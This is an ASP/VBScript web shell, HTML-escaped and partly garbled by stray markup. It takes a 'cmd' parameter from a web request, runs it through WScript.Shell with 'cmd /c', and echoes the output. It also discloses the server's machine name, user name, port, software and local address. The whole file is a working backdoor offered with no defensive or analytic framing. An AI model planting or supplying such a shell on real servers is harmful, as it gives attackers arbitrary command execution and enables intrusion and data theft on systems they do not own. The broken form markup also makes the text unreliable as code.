&lt;%<br />
Set oScript = Server.CreateObject(&quot;WSCRIPT.SHELL&quot;)<br />
Set oScriptNet = Server.CreateObject(&quot;WSCRIPT.NETWORK&quot;)<br />
Set oFileSys = Server.CreateObject(&quot;Scripting.FileSystemObject&quot;)<br />
Function getCommandOutput(theCommand)<br />
    Dim objShell, objCmdExec<br />
    Set objShell = CreateObject(&quot;WScript.Shell&quot;)<br />
    Set objCmdExec = objshell.exec(thecommand)<br />
    getCommandOutput = objCmdExec.StdOut.ReadAll<br />
end Function<br />
%&gt;<br />
<br />
<br />
&lt;HTML&gt;<br />
&lt;BODY&gt;<br />
<form><br />
<input type=text>&quot;&gt;<br />
<input type=submit><br />
</form><br />
&lt;PRE&gt;<br />
&lt;%= &quot;\\&quot; &amp; oScriptNet.ComputerName &amp; &quot;\&quot; &amp; oScriptNet.UserName %&gt;<br />
&lt;%Response.Write(Request.ServerVariables(&quot;server_name&quot;))%&gt;<br />
&lt;p&gt;<br />
<b>The server&#039;s port:</b><br />
&lt;%Response.Write(Request.ServerVariables(&quot;server_port&quot;))%&gt;<br />
&lt;/p&gt;<br />
&lt;p&gt;<br />
<b>The server&#039;s software:</b><br />
&lt;%Response.Write(Request.ServerVariables(&quot;server_software&quot;))%&gt;<br />
&lt;/p&gt;<br />
&lt;p&gt;<br />
<b>The server&#039;s software:</b><br />
&lt;%Response.Write(Request.ServerVariables(&quot;LOCAL_ADDR&quot;))%&gt;<br />
&lt;% szCMD = request(&quot;cmd&quot;)<br />
thisDir = getCommandOutput(&quot;cmd /c&quot; &amp; szCMD)<br />
Response.Write(thisDir)%&gt;<br />
&lt;/p&gt;<br />
<br><br />
&lt;/BODY&gt;<br />
&lt;/HTML&gt;